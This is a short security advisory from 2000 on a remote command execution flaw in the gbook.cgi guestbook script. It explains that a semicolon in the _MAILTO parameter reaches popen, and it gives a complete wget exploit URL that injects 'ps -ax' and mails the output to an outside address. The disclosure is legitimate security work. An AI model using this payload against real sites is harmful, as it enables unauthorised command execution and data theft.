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Bug Report
1. Name: gbook.cgi remote command execution vulnerability
2. Release Date: 2000.11.10
3. Affected Application:
GBook - A web site guestbook
By Bill Kendrick
[email protected]
http://zippy.sonoma.edu/kendrick/
4. Author: [email protected]
5. Type: Input validation Error
6. Explanation
gbook.cgi is used by some web sites.
We can set _MAILTO parameter, and popen is called to execute mail command.
If ';' is used in _MAILTO variable, you can execute arbitrary command with it.
It's so trivial. :)
7. Exploits
This exploit executes "ps -ax" command and sends the result to [email protected].
wget "http://www.victim.com/cgi-bin/gbook/gbook.cgi?_MAILTO=oops;ps%20-ax|mail%[email protected]&_POSTIT=yes&_NEWONTOP=yes&_SHOWEMAIL=yes&_SHOWURL=yes&_SHOWCOMMENT=yes&_SHOWFROM=no&_NAME=hehe&[email protected]&_URL=http://www.yaho.com&_COMMENT=fwe&_FROM=few"
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| [email protected] |
| http://hacksware.com |
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| [email protected] |
| http://hacksware.com |
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